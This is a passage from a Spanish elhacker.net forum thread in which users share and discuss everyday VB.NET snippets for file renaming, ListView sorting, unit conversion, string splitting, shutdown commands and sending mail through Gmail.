Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: Eleкtro en 18 Diciembre 2012, 22:23 pm



Título: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 18 Diciembre 2012, 22:23 pm
¿Que es un Snippet (http://en.wikipedia.org/wiki/Snippet_%28programming%29)?

Es una porción de código que suele contener una o varias Subrutinas (http://en.wikipedia.org/wiki/Subroutine) con el propósito de realizar una tarea específica,
cuyo código es reusable por otras personas y fácil de integrar con sólamente copiar y pegar el contenido del Snippet.

6E3AEs66KaQ



  • ÍNDICE DE SNIPPETS (https://foro.elhacker.net/net/indice_de_la_libreria_de_snippets_para_vbnet-t485444.0.html;msg2167235#msg2167235)
( click para ver el índice )



Título: Re: [APORTE] Snippets
Publicado por: Novlucker en 18 Diciembre 2012, 23:04 pm
Los aportes son siempre bienvenidos, peeeero, tal vez deberías de tener snippets que hagan las cosas de la manera más elegante y "performante" posible :P, hay código mejorable, pero es mucho para revisar :xD

Saludos


Título: Re: [APORTE] Snippets
Publicado por: $Edu$ en 19 Diciembre 2012, 00:02 am
Esto de snippets vendria a ser como "codigos sueltos" para poder copiar y tenerlos a mano siempre? es como que nos hayas dejado tus apuntes con funciones? o el VS tiene algo para leer esa extension .snippet y aplicarlo a tu proyecto de alguna forma? no lo tengo instalado por eso solo he mirado los codigos en notepad.


Título: Re: [APORTE] Snippets
Publicado por: Novlucker en 19 Diciembre 2012, 00:40 am
Exacto, se instalan en el Visual, y se tienen fragmentos de código prefabricado y para autocompletado :P

OfprmT6eP6k

Saludos


Título: Re: [APORTE] Snippets
Publicado por: $Edu$ en 19 Diciembre 2012, 01:49 am
Vendrian a ser entonces como las clases que trae el VS? solo que estos snippets serian clases incorporadas por nosotros mismos.

Gracias!


Título: Re: [APORTE] Snippets
Publicado por: Eleкtro en 19 Diciembre 2012, 04:04 am
$Edu$ no se si tienes el VS pero si lo tienes donde escribes el código del form presiona "click derecho > insert snippet" y ahí ves lo que són.

Esto de snippets vendria a ser como "codigos sueltos" para poder copiar y tenerlos a mano siempre?
Ya te ha contestado Novlucker pero cabe decir que un snippet no es algo que haya inventado Microsoft, hay bastantes editores de texto que soportan el uso de snippets, y bueno... los que trabajen con HTML/CSS/PHP y todo eso seguro que están muy acostumbrados a usar snippets para sus diseños web, igual que se pueden tener snippets para Batch (xD).

saludos!



tal vez deberías de tener snippets que hagan las cosas de la manera más elegante y "performante" posible :P,
hay código mejorable

Hay algunos snippets que yo solo no podría haberlos creado porque no sé hacerlo, por ejemplo el "GlobalHotkeys.snippet", no véas cuanto código con las APIs, como para ponerme a intentar mejorarlos! :xD

Ahora te hago yo una sugerencia:
De sabios es compartir el conocimiento, hay que realizar buenas acciones antes de que se acabe el munedo en... 2 días  :silbar:,
Y lo que necesita todo aprendiz de programador es un aporte con los snippets del gran Nov, muchos lo agradecerían (O al menos uno aquí presente... xD).

Ahí lo dejo...  :-X

Saludos!


Título: Re: [APORTE] Snippets
Publicado por: Novlucker en 19 Diciembre 2012, 13:11 pm
De sabios es compartir el conocimiento, hay que realizar buenas acciones antes de que se acabe el munedo en... 2 días  :silbar:,
Y lo que necesita todo aprendiz de programador es un aporte con los snippets del gran Nov, muchos lo agradecerían (O al menos uno aquí presente... xD).

Es que no tengo snippets personalizados, solo uso los que vienen incorporados en el Visual :P Justamente ayer luego de ver los tuyos me puse a pensar que sería lo que podría tener en snippets, pero la verdad no se me ocurre :P

Saludos


Título: Re: [APORTE] Snippets
Publicado por: Eleкtro en 21 Diciembre 2012, 12:33 pm
me puse a pensar que sería lo que podría tener en snippets, pero la verdad no se me ocurre :P
que pena que no tengas,
yo pienso que con unos cuantos snippets y pocas modificaciones se puede llegar a crear un programa entero en un instante.

Por ejemplo creamos un programa con un webbrowser y el htmlagilitypack para parsear alguna web y tomar los enlaces, o un auto-login, nos cuesta varias horas hacerlo (sin tener en cuenta el diseño).

Ahora sacamos snippets de las funciones y subrutinas más improtantes que hacemos en ese proyecto, y el próximo proyecto parecido que tengamos que hacer nos costará minutos, o al menos mucho mucho menos que al principio xD.

PD: Tenías razón, había mucho code mejorable, por ejemplo el de "isinternetavaliable" se hacía en unas 10 líneas y de una manera que no me gusta nada, el snippet original incluido en VS2012 lo hace en una línea xD


HE ACTUALIZADO LOS SNIPPETS
Algunos nuevos y algunos ligéramente mejorados basándome en los que vienen incluidos por defecto en VS2012.


Título: Re: [APORTE] Snippets (ACTUALIZADO 21/12/2012)
Publicado por: $Edu$ en 21 Diciembre 2012, 14:10 pm
Es que si miras un poco al futuro, cualquiera va a poder programar lo que quiera, cada vez esta tan facil que las generaciones futuras diran "se programar" y solo sabran la estructura para programar pero 0 conocimiento en generar codigo propio. Lo mismo piensan las generaciones antiguas de nosotros los que usamos .NET y no ASM xD


Título: Re: [APORTE] Snippets (ACTUALIZADO 21/12/2012)
Publicado por: Eleкtro en 11 Enero 2013, 06:30 am
Deberían hacer un post en esta sección que contenga sólamente snippets y donde todos aporten snippets útiles  ;D





He hecho este snippet para agilizar el renombramiento de archivos, aquí tienen ;)

PD: Uso "MOVE" porque de otra forma es imposible renombrar el archivo con el mismo nombre, como bien está explicado aquí por NovLucker: http://foro.elhacker.net/net/solucionado_iquestcomo_renombrar_un_archivo_o_carpeta_con_el_mismo_nombre-t378839.0.html

Código
  1.   ' Usage:
  2.    '
  3.    ' RenameFile("C:\Test.txt", "TeSt.TxT")
  4.    ' RenameFile("C:\Test.txt", "Test", "doc")
  5.    ' RenameFile(FileInfoObject.FullName, FileInfoObject.Name.ToLower, FileInfoObject.Extension.ToUpper)
  6.    ' If RenameFile("C:\Test.txt", "TeSt.TxT") Is Nothing Then MsgBox("El archivo no existe!")
  7.  
  8. #Region " RenameFile function "
  9.  
  10.    Private Function RenameFile(ByVal File As String, ByVal NewFileName As String, Optional ByVal NewFileExtension As String = Nothing)
  11.        If IO.File.Exists(File) Then
  12.            Try
  13.                Dim FileToBeRenamed As New System.IO.FileInfo(File)
  14.                If NewFileExtension Is Nothing Then
  15.                    FileToBeRenamed.MoveTo(FileToBeRenamed.Directory.FullName & "\" & NewFileName) ' Rename file with same extension
  16.                Else
  17.                    FileToBeRenamed.MoveTo(FileToBeRenamed.Directory.FullName & "\" & NewFileName & NewFileExtension) ' Rename file with new extension
  18.                End If
  19.                Return True ' File was renamed OK
  20.            Catch ex As Exception
  21.                ' MsgBox(ex.Message)
  22.                Return False ' File can't be renamed maybe because User Permissions
  23.            End Try
  24.        Else
  25.            Return Nothing ' File doesn't exist
  26.        End If
  27.    End Function
  28.  
  29. #End Region

Y unos cuantos más...

Modificar atributos de archivos:
Código
  1.   ' Usage:
  2.    ' Attrib("File.txt", IO.FileAttributes.ReadOnly + IO.FileAttributes.Hidden)
  3.    ' If Attrib("File.txt", IO.FileAttributes.System) Is Nothing Then MsgBox("File doesn't exist!")
  4.  
  5.      Private Function Attrib(ByVal File As String, ByVal Attributes As System.IO.FileAttributes)
  6.        If IO.File.Exists(File) Then
  7.            Try
  8.                FileSystem.SetAttr(File, Attributes)
  9.                Return True ' File was modified OK
  10.            Catch ex As Exception
  11.                ' MsgBox(ex.Message)
  12.                Return False ' File can't be modified maybe because User Permissions
  13.            End Try
  14.        Else
  15.            Return Nothing ' File doesn't exist
  16.        End If
  17.    End Function


Controlar el mismo evento para varios controles:

Código
  1.   Private Sub Button_Is_Clicked(sender As Object, e As EventArgs) Handles _
  2.        Button1.Click, _
  3.        Button2.Click, _
  4.        Button3.Click
  5.  
  6.        Dim Clicked_Button As Button = CType(sender, Button)
  7.  
  8.        If Clicked_Button.Name = "Button1" Then
  9.        ' Things for Button1
  10.        ElseIf Clicked_Button.Name = "Button2" Then
  11.        ' Things for Button2
  12.        ElseIf Clicked_Button.Name = "Button3" Then
  13.        ' Things for Button3
  14.        End If
  15.    Ens Sub

Un link label:

Código
  1.    ' First add a LinkLabel control into the form.
  2.  
  3.    Private Sub LinkLabel_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
  4.        System.Diagnostics.Process.Start("http://www.Google.com")
  5.        System.Diagnostics.Process.Start("mailto:ME@Hotmail.com")
  6.    End Sub

Procesar todos los archivos de texto de My.Resources:

Código
  1.        For Each ResourceFile As DictionaryEntry In My.Resources.ResourceManager.GetResourceSet(Globalization.CultureInfo.CurrentCulture, True, True).OfType(Of Object)()
  2.            If TypeOf (ResourceFile.Value) Is String Then
  3.                MsgBox(My.Resources.ResourceManager.GetObject(ResourceFile.Key))
  4.                'MsgBox(ResourceFile.Key)   ' Resource Name
  5.                'MsgBox(ResourceFile.Value) ' Resource FileContent
  6.            End If
  7.        Next

Procesar todos los archivos de imagen de My.Resources:

Código
  1.        For Each ResourceFile As DictionaryEntry In My.Resources.ResourceManager.GetResourceSet(Globalization.CultureInfo.CurrentCulture, True, True).OfType(Of Object)()
  2.            If TypeOf (ResourceFile.Value) Is Drawing.Image Then
  3.                Button_2000_2006.Image = ResourceFile.Value
  4.                'MsgBox(ResourceFile.Key)   ' Resource Name
  5.                'MsgBox(ResourceFile.Value) ' Resource FileContent
  6.            End If
  7.        Next

Ordenar un listview al clickar sobre la columna a ordenar:

Código
  1. ' Instructions:
  2. ' 1. Add the class
  3. ' 2. Add the declaration
  4. ' 3. Add a listview
  5.  
  6.  
  7. Dim ColumnOrder As String = "Down"
  8.  
  9.  
  10. #Region " ListView Sort Column event "
  11.  
  12.    Private Sub ListView_ColumnClick(ByVal sender As Object, ByVal e As System.Windows.Forms.ColumnClickEventArgs) Handles ListView1.ColumnClick
  13.        If ColumnOrder = "Down" Then
  14.            Me.ListView1.ListViewItemSorter = New OrdenarListview(e.Column, SortOrder.Ascending)
  15.            ListView1.Sort()
  16.            ColumnOrder = "Up"
  17.        ElseIf ColumnOrder = "Up" Then
  18.            Me.ListView1.ListViewItemSorter = New OrdenarListview(e.Column, SortOrder.Descending)
  19.            ListView1.Sort()
  20.            ColumnOrder = "Down"
  21.        End If
  22.    End Sub
  23.  
  24.  
  25. #End Region
  26.  
  27.  
  28. #Region " OrdenarListView [CLASS] "
  29.  
  30. Public Class OrdenarListview
  31.    Implements IComparer
  32.  
  33.    Private vIndiceColumna As Integer
  34.    Private vTipoOrden As SortOrder
  35.  
  36.    Public Sub New(ByVal pIndiceColumna As Integer, ByVal pTipoOrden As SortOrder)
  37.        vIndiceColumna = pIndiceColumna
  38.        vTipoOrden = pTipoOrden
  39.    End Sub
  40.  
  41.    Public Function Ordenar(ByVal x As Object, ByVal y As Object) As Integer Implements System.Collections.IComparer.Compare
  42.        Dim item_x As ListViewItem = DirectCast(x, ListViewItem)
  43.        Dim item_y As ListViewItem = DirectCast(y, ListViewItem)
  44.  
  45.        Dim string_x As String
  46.  
  47.        If item_x.SubItems.Count <= vIndiceColumna Then
  48.            string_x = ""
  49.        Else
  50.            string_x = item_x.SubItems(vIndiceColumna).Text
  51.        End If
  52.  
  53.        Dim string_y As String
  54.        If item_y.SubItems.Count <= vIndiceColumna Then
  55.            string_y = ""
  56.        Else
  57.            string_y = item_y.SubItems(vIndiceColumna).Text
  58.        End If
  59.  
  60.        If vTipoOrden = SortOrder.Ascending Then
  61.            If IsNumeric(string_x) And IsNumeric(string_y) Then
  62.                Return Val(string_x).CompareTo(Val(string_y))
  63.            ElseIf IsDate(string_x) And IsDate(string_y) Then
  64.                Return DateTime.Parse(string_x).CompareTo(DateTime.Parse(string_y))
  65.            Else
  66.                Return String.Compare(string_x, string_y)
  67.            End If
  68.        Else
  69.            If IsNumeric(string_x) And IsNumeric(string_y) Then
  70.                Return Val(string_y).CompareTo(Val(string_x))
  71.            ElseIf IsDate(string_x) And IsDate(string_y) Then
  72.                Return DateTime.Parse(string_y).CompareTo(DateTime.Parse(string_x))
  73.            Else
  74.                Return String.Compare(string_y, string_x)
  75.            End If
  76.        End If
  77.    End Function
  78. End Class
  79.  
  80. #End Region

Un ejemplo de un SaveFileDialog:

Código
  1.        Dim SaveFile As New SaveFileDialog
  2.        SaveFile.Title = "Save a Report File"
  3.        SaveFile.InitialDirectory = Environ("programfiles")
  4.        SaveFile.RestoreDirectory = True
  5.        SaveFile.DefaultExt = "txt"
  6.        SaveFile.Filter = "txt file (*.txt)|*.txt"
  7.        SaveFile.CheckPathExists = True
  8.        'SaveFile.CheckFileExists = True
  9.        'SaveFile.ShowDialog()
  10.  
  11.        If SaveFile.ShowDialog() = DialogResult.OK Then
  12.          MsgBox(SaveFile.FileName)
  13.        End If

Centrar un form secundario en el form principal:

Código
  1. #Region " CenterForm function "
  2.  
  3.    Function CenterForm(ByVal Form_to_Center As Form, ByVal Form_Location As Point) As Point
  4.        Dim FormLocation As New Point
  5.        FormLocation.X = (Me.Left + (Me.Width - Form_to_Center.Width) / 2) ' set the X coordinates.
  6.        FormLocation.Y = (Me.Top + (Me.Height - Form_to_Center.Height) / 2) ' set the Y coordinates.
  7.        Return FormLocation ' return the Location to the Form it was called from.
  8.    End Function
  9.  
  10. #End Region
  11.  
  12.    ' Form2 Load
  13.    Private Sub Form2_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  14.        Me.Location = Form1.centerForm(Me, Me.Location)
  15.    End Sub
  16.  
  17.    ' Private Sub Button_MouseHover(sender As Object, e As EventArgs) Handles Button1.MouseHover
  18.    '     Form2.Show()
  19.    ' End Sub
  20.  
  21.    ' Private Sub Button_MouseLeave(sender As Object, e As EventArgs) Handles Button1.MouseLeave
  22.    '     Form2.Dispose()
  23.    ' End Sub


Saludos!


Título: Re: [APORTE] Snippets (ACTUALIZADO 11/01/2013)
Publicado por: Eleкtro en 11 Enero 2013, 09:39 am
Para una aplicación necesité dividir el tamaño de unos MEgaBytes entre la capacidad de un DVD5, así que ya puestos he hecho este snippet que divide el tamaño entre varios formatos de discos, para la próxima ocasión.

PD: Las medidas están sacadas de la Wikipedia, para los más...  :-X

Saludos.

Código
  1.    ' Usage:
  2.    '
  3.    ' MsgBox(ConvertToDiscSize(737280000, "Bytes", "CD"))
  4.    ' MsgBox(ConvertToDiscSize(700, "MB", "CD"))
  5.    ' MsgBox(Math.Ceiling(ConvertToDiscSize(6.5, "GB", "DVD")))
  6.    ' MsgBox(ConvertToDiscSize(40, "GB", "BR").ToString.Substring(0, 3) & " Discs")
  7.  
  8. #Region " Convert To Disc Size function"
  9.    Private Function ConvertToDiscSize(ByVal FileSize As Double, ByVal FileKindSize As String, ByVal To_DiscKindCapacity As String)
  10.  
  11.        ' KindSize Measures:
  12.        ' --------------------------
  13.        ' Bytes
  14.        ' KB
  15.        ' MB
  16.        ' GB
  17.  
  18.        ' ToDiscKind Measures:
  19.        ' -----------------------------
  20.        ' CD
  21.        ' CD800
  22.        ' CD900
  23.        ' DVD
  24.        ' DVD-DL
  25.        ' BR
  26.        ' BR-DL
  27.        ' BR-3L
  28.        ' BR-4L
  29.        ' BR-MD
  30.        ' BR-MD-DL
  31.  
  32.  
  33.        ' Bytes
  34.        If FileKindSize.ToUpper = "BYTES" Then
  35.            If To_DiscKindCapacity.ToUpper = "CD" Then Return FileSize / 737280000 ' CD Standard
  36.            If To_DiscKindCapacity.ToUpper = "CD800" Then Return FileSize / 829440393.216 ' CD 800 MB
  37.            If To_DiscKindCapacity.ToUpper = "CD900" Then Return FileSize / 912383803.392 ' CD 900 MB
  38.            If To_DiscKindCapacity.ToUpper = "DVD" Then Return FileSize / 4700000000 ' DVD Standard (DVD5
  39.            If To_DiscKindCapacity.ToUpper = "DVD-DL" Then Return FileSize / 8500000000 ' DVD Double Layer (DVD9)
  40.            If To_DiscKindCapacity.ToUpper = "BR" Then Return FileSize / 25025314816 ' BluRay Standard
  41.            If To_DiscKindCapacity.ToUpper = "BR-DL" Then Return FileSize / 50050629632 ' BluRay Double Layer
  42.            If To_DiscKindCapacity.ToUpper = "BR-3L" Then Return FileSize / 100103356416 ' BluRay x3 Layers
  43.            If To_DiscKindCapacity.ToUpper = "BR-4L" Then Return FileSize / 128001769472 ' BluRay x4 Layers
  44.            If To_DiscKindCapacity.ToUpper = "BR-MD" Then Return FileSize / 7791181824 ' BluRay MiniDisc Standard
  45.            If To_DiscKindCapacity.ToUpper = "BR-MD-DL" Then Return FileSize / 15582363648 ' BluRay MiniDisc Double Layer
  46.  
  47.            ' KB
  48.        ElseIf FileKindSize.ToUpper = "KB" Then
  49.            If To_DiscKindCapacity.ToUpper = "CD" Then Return FileSize / 720000 ' CD Standard
  50.            If To_DiscKindCapacity.ToUpper = "CD800" Then Return FileSize / 810000.384 ' CD 800 MB
  51.            If To_DiscKindCapacity.ToUpper = "CD900" Then Return FileSize / 890999.808 ' CD 900 MB
  52.            If To_DiscKindCapacity.ToUpper = "DVD" Then Return FileSize / 4589843.75 ' DVD Standard (DVD5)
  53.            If To_DiscKindCapacity.ToUpper = "DVD-DL" Then Return FileSize / 8300781.25 ' DVD Double Layer (DVD9)
  54.            If To_DiscKindCapacity.ToUpper = "BR" Then Return FileSize / 24438784 ' BluRay Standard
  55.            If To_DiscKindCapacity.ToUpper = "BR-DL" Then Return FileSize / 48877568 ' BluRay Double Layer
  56.            If To_DiscKindCapacity.ToUpper = "BR-3L" Then Return FileSize / 97757184 ' BluRay x3 Layers
  57.            If To_DiscKindCapacity.ToUpper = "BR-4L" Then Return FileSize / 125001728 ' BluRay x4 Layers
  58.            If To_DiscKindCapacity.ToUpper = "BR-MD" Then Return FileSize / 7608576 ' BluRay MiniDisc Standard
  59.            If To_DiscKindCapacity.ToUpper = "BR-MD-DL" Then Return FileSize / 15217152 ' BluRay MiniDisc Double Layer
  60.  
  61.            ' MB
  62.        ElseIf FileKindSize.ToUpper = "MB" Then
  63.            If To_DiscKindCapacity.ToUpper = "CD" Then Return FileSize / 703.125 ' CD Standard
  64.            If To_DiscKindCapacity.ToUpper = "CD800" Then Return FileSize / 791.016 ' CD 800 MB
  65.            If To_DiscKindCapacity.ToUpper = "CD900" Then Return FileSize / 870.117 ' CD 900 MB
  66.            If To_DiscKindCapacity.ToUpper = "DVD" Then Return FileSize / 4482.26929 ' DVD Standard (DVD5)
  67.            If To_DiscKindCapacity.ToUpper = "DVD-DL" Then Return FileSize / 8106.23169 ' DVD Double Layer (DVD9)
  68.            If To_DiscKindCapacity.ToUpper = "BR" Then Return FileSize / 23866 ' BluRay Standard
  69.            If To_DiscKindCapacity.ToUpper = "BR-DL" Then Return FileSize / 47732 ' BluRay Double Layer
  70.            If To_DiscKindCapacity.ToUpper = "BR-3L" Then Return FileSize / 95466 ' BluRay x3 Layers
  71.            If To_DiscKindCapacity.ToUpper = "BR-4L" Then Return FileSize / 122072 ' BluRay x4 Layers
  72.            If To_DiscKindCapacity.ToUpper = "BR-MD" Then Return FileSize / 7430.25 ' BluRay MiniDisc Standard
  73.            If To_DiscKindCapacity.ToUpper = "BR-MD-DL" Then Return FileSize / 14860.5 ' BluRay MiniDisc Double Layer
  74.  
  75.            ' GB
  76.        ElseIf FileKindSize.ToUpper = "GB" Then
  77.            If To_DiscKindCapacity.ToUpper = "CD" Then Return FileSize / 0.68665 ' CD Standard
  78.            If To_DiscKindCapacity.ToUpper = "CD800" Then Return FileSize / 0.77248 ' CD 800 MB
  79.            If To_DiscKindCapacity.ToUpper = "CD900" Then Return FileSize / 0.84972 ' CD 900 MB
  80.            If To_DiscKindCapacity.ToUpper = "DVD" Then Return FileSize / 4.37722 ' DVD Standard (DVD5)
  81.            If To_DiscKindCapacity.ToUpper = "DVD-DL" Then Return FileSize / 7.91624 ' DVD Double Layer (DVD9)
  82.            If To_DiscKindCapacity.ToUpper = "BR" Then Return FileSize / 23.30664 ' BluRay Standard
  83.            If To_DiscKindCapacity.ToUpper = "BR-DL" Then Return FileSize / 46.61328 ' BluRay Double Layer
  84.            If To_DiscKindCapacity.ToUpper = "BR-3L" Then Return FileSize / 93.22852 ' BluRay x3 Layers
  85.            If To_DiscKindCapacity.ToUpper = "BR-4L" Then Return FileSize / 119.21094 ' BluRay x4 Layers
  86.            If To_DiscKindCapacity.ToUpper = "BR-MD" Then Return FileSize / 7.2561 ' BluRay MiniDisc Standard
  87.            If To_DiscKindCapacity.ToUpper = "BR-MD-DL" Then Return FileSize / 14.51221 ' BluRay MiniDisc Double Layer
  88.        End If
  89.  
  90.        Return Nothing ' Argument measure not found
  91.  
  92.    End Function
  93. #End Region


Título: Re: [APORTE] Snippets (ACTUALIZADO 12/01/2013) Posteen aquí sus snippets!!
Publicado por: Eleкtro en 12 Enero 2013, 18:00 pm
He actualizado el pack de Snippets en el post principal (Antes eran 76, ahora 114)

Si alguien quiere que incluya un pack con sus snippets en el post principal porfavor que me pase los snippets en formato de snippet (Archivo.snippet).

Y añado este snippet, un delimitador de strings, es parecido al método "Split", pero bajo mi opinión lo he mejorado bastante!

· Acepta 1 o 2 delimitadores,
· Opción de IgnoreCase
· Delimitar de izquierda a derecha o de derecha a izquierda.

Saludos!

Código
  1. #Region " Delimit_String Function "
  2.  
  3.    ' // By Elektro H@ker
  4.    '
  5.    ' USAGE:
  6.    '
  7.    ' MsgBox(Delimit_String("Welcome to my new house", "to")) ' my new house
  8.    ' MsgBox(Delimit_String("Welcome to my new house", "to", "house")) ' my new
  9.    ' MsgBox(Delimit_String("Welcome to my new house", "TO", "HoUSe", True)) ' my new
  10.    ' MsgBox(Delimit_String("Welcome to my new house", "house", "to", , "Left")) ' my new
  11.    ' MsgBox(Delimit_String("Welcome to my new house", "TO", "HoUSe", False)) ' False
  12.    ' MsgBox(Delimit_String("Welcome to my new house", "to", "to", , "Left")) ' Index was outside bounds of the array
  13.  
  14.    Private Function Delimit_String(ByVal STR As String, ByVal Delimiter_A As String, Optional ByVal Delimiter_B As String = "", Optional ByVal Ignore_Case As Boolean = False, Optional ByVal Left_Or_Right As String = "Right")
  15.        Dim Compare_Method As Integer = 0 ' Don't ignore case
  16.        If Ignore_Case = True Then Compare_Method = 1 ' Ignore Case
  17.  
  18.        If Not Left_Or_Right.ToUpper = "LEFT" And Not Left_Or_Right.ToUpper = "RIGHT" _
  19.            Then Return False ' Returns false if the Left_Or_Right argument is in incorrect format
  20.  
  21.        If Compare_Method = 0 Then
  22.            If Not STR.Contains(Delimiter_A) Or Not STR.Contains(Delimiter_B) _
  23.                Then Return False ' Returns false if one of the delimiters in NormalCase can 't be found
  24.        Else
  25.            If Not STR.ToUpper.Contains(Delimiter_A.ToUpper) Or Not STR.ToUpper.Contains(Delimiter_B.ToUpper) _
  26.            Then Return False ' Returns false if one of the delimiters in IgnoreCase can 't be found
  27.        End If
  28.  
  29.        Try
  30.            If Left_Or_Right.ToUpper = "LEFT" Then STR = Split(STR, Delimiter_A, , Compare_Method)(0) _
  31.                Else If Left_Or_Right.ToUpper = "RIGHT" Then STR = Split(STR, Delimiter_A, , Compare_Method)(1)
  32.  
  33.            If Delimiter_B IsNot Nothing Then
  34.                If Left_Or_Right.ToUpper = "LEFT" Then STR = Split(STR, Delimiter_B, , Compare_Method)(1) _
  35.                 Else If Left_Or_Right.ToUpper = "RIGHT" Then STR = Split(STR, Delimiter_B, , Compare_Method)(0)
  36.            End If
  37.  
  38.            Return STR ' Returns the splitted string
  39.        Catch ex As Exception
  40.            Return ex.Message ' Returns exception if index is out of range
  41.        End Try
  42.    End Function
  43.  
  44. #End Region



Título: Re: [APORTE] Snippets (ACTUALIZADO 12/01/2013) Posteen aquí sus snippets!!
Publicado por: Eleкtro en 12 Enero 2013, 20:36 pm
Otro convertidor, en esta ocasión un convertidor de tiempo, ms, segundos, minutos, horas.


Código
  1. #Region " Convert Time Function"
  2.  
  3.    ' // By Elektro H@cker
  4.    '
  5.    ' MsgBox(Convert_Time(1, "h", "m"))
  6.    ' MsgBox(Convert_Time(1, "h", "s"))
  7.    ' MsgBox(Convert_Time(1, "h", "ms"))
  8.    ' MsgBox(Convert_Time(6000, "milliseconds", "seconds"))
  9.    ' MsgBox(Convert_Time(6000, "seconds", "minutes"))
  10.    ' MsgBox(Convert_Time(6000, "minutes", "hours"))
  11.  
  12.    Private Function Convert_Time(ByVal Time As Int64, ByVal Input_Time_Format As String, ByVal Output_Time_Format As String)
  13.        Dim Time_Span As New TimeSpan
  14.        If Input_Time_Format.ToUpper = "MS" Or Output_Time_Format.ToUpper = "MILLISECONDS" Then Time_Span = New TimeSpan(TimeSpan.TicksPerMillisecond * Time)
  15.        If Input_Time_Format.ToUpper = "S" Or Output_Time_Format.ToUpper = "SECONDS" Then Time_Span = New TimeSpan(TimeSpan.TicksPerSecond * Time)
  16.        If Input_Time_Format.ToUpper = "M" Or Output_Time_Format.ToUpper = "MINUTES" Then Time_Span = New TimeSpan(TimeSpan.TicksPerMinute * Time)
  17.        If Input_Time_Format.ToUpper = "H" Or Output_Time_Format.ToUpper = "HOURS" Then Time_Span = New TimeSpan(TimeSpan.TicksPerHour * Time)
  18.        If Output_Time_Format.ToUpper = "MS" Or Output_Time_Format.ToUpper = "MILLISECONDS" Then Return Time_Span.TotalMilliseconds
  19.        If Output_Time_Format.ToUpper = "S" Or Output_Time_Format.ToUpper = "SECONDS" Then Return Time_Span.TotalSeconds
  20.        If Output_Time_Format.ToUpper = "M" Or Output_Time_Format.ToUpper = "MINUTES" Then Return Time_Span.TotalMinutes
  21.        If Output_Time_Format.ToUpper = "H" Or Output_Time_Format.ToUpper = "HOURS" Then Return Time_Span.TotalHours
  22.        Return False ' Returns false if argument is in incorrect format
  23.    End Function
  24.  
  25. #End Region
  26.  


Título: Re: [APORTE] Snippets (ACTUALIZADO 12/01/2013) Posteen aquí sus snippets!!
Publicado por: Eleкtro en 12 Enero 2013, 23:30 pm
Set_PC_State

Código
  1.    ' // By Elektro H@cker
  2.  
  3.    ' USAGE:
  4.    '
  5.    ' Set_PC_State(RESET)
  6.    ' Set_PC_State(SUSPEND, 30, "I'm suspending your system.")
  7.    ' Set_PC_State(LOG_OFF)
  8.    ' Set_PC_State(HIBERN)
  9.    ' Set_PC_State(ABORT)
  10.  
  11. #Region " Set PC State "
  12.  
  13.    Const RESET As String = " -R "
  14.    Const SUSPEND As String = " -S "
  15.    Const LOG_OFF As String = " -L "
  16.    Const HIBERN As String = " -H "
  17.    Const ABORT As String = " -A "
  18.  
  19.    Private Function Set_PC_State(ByVal PowerState_Action As String, Optional ByVal TimeOut As Integer = 1, Optional ByVal COMMENT As String = "")
  20.  
  21.        Dim Shutdown_Command As New ProcessStartInfo
  22.        Shutdown_Command.FileName = "Shutdown.exe"
  23.  
  24.        Try
  25.            If PowerState_Action = ABORT Or PowerState_Action = HIBERN Or PowerState_Action = LOG_OFF Then
  26.                Shutdown_Command.Arguments = PowerState_Action ' Windows don't allow TimeOut or Comment options for HIBERN, LOG_OFF or ABORT actions.
  27.            ElseIf PowerState_Action = RESET Or PowerState_Action = SUSPEND Then
  28.                If Not COMMENT = "" Then
  29.                    If COMMENT.Length > 512 Then COMMENT = COMMENT.Substring(0, 512) ' Only 512 chars are allowed for comment
  30.                    Shutdown_Command.Arguments = PowerState_Action & " -T " & TimeOut & " /C " & COMMENT
  31.                Else
  32.                    Shutdown_Command.Arguments = PowerState_Action & " -T " & TimeOut
  33.                End If
  34.                Shutdown_Command.WindowStyle = ProcessWindowStyle.Hidden
  35.                Process.Start(Shutdown_Command)
  36.                Return True
  37.            End If
  38.        Catch ex As Exception
  39.            Return ex.Message
  40.        End Try
  41.  
  42.        Return Nothing ' Invalid argument
  43.    End Function
  44.  
  45. #End Region





Día local:

Código
  1. Dim Today as string = My.Computer.Clock.LocalTime.DayOfWeek ' In English language
  2.  
  3. Dim Today as string = System.Globalization.DateTimeFormatInfo.CurrentInfo.GetDayName(Date.Today.DayOfWeek) ' In system language




String is URL?

Código
  1.    ' USAGE:
  2.    '
  3.    ' If String_Is_URL("http://google.com") Then MsgBox("Valid url!") Else MsgBox("Invalid url!")
  4.  
  5. #Region " String Is URL Function "
  6.  
  7.    Private Function String_Is_URL(ByVal STR As String)
  8.        Dim URL_Pattern As String = "^(http|https):/{2}[a-zA-Z./&\d_-]+"
  9.        Dim URL_RegEx As New System.Text.RegularExpressions.Regex(URL_Pattern, System.Text.RegularExpressions.RegexOptions.IgnoreCase Or System.Text.RegularExpressions.RegexOptions.ExplicitCapture)
  10.        If URL_RegEx.IsMatch(STR) Then Return True Else Return False
  11.    End Function
  12.  
  13. #End Region




G-Mail Sender (Envía emails)

Código
  1.    ' USAGE:
  2.    '
  3.    ' GMail_Sender("Your_Email@Gmail.com", "Your_Password", "Email Subject", "Message Body", "Destiny@Email.com")
  4.  
  5. #Region " GMail Sender function "
  6.  
  7.    Private Function GMail_Sender(ByVal Gmail_Username As String, ByVal Gmail_Password As String, ByVal Email_Subject As String, ByVal Email_Body As String, ByVal Email_Destiny As String)
  8.        Try
  9.            Dim MailSetup As New System.Net.Mail.MailMessage
  10.            MailSetup.Subject = Email_Subject
  11.            MailSetup.To.Add(Email_Destiny)
  12.            MailSetup.From = New System.Net.Mail.MailAddress(Gmail_Username)
  13.            MailSetup.Body = Email_Body
  14.            Dim SMTP As New System.Net.Mail.SmtpClient("smtp.gmail.com")
  15.            SMTP.Port = 587
  16.            SMTP.EnableSsl = True
  17.            SMTP.Credentials = New Net.NetworkCredential(Gmail_Username, Gmail_Password)
  18.            SMTP.Send(MailSetup)
  19.            Return True ' Email is sended OK
  20.        Catch ex As Exception
  21.            Return ex.Message ' Email can't be sended
  22.        End Try
  23.    End Function
  24.  
  25. #End Region



Título: Re: [APORTE] Snippets (ACTUALIZADO 12/01/2013) Posteen aquí sus snippets!!
Publicado por: Eleкtro en 13 Enero 2013, 07:34 am
Get OS Version

Código
  1.        Dim OS_Version As String = System.Environment.OSVersion.ToString
  2.        MsgBox(OS_Version)



String Is Email

Código
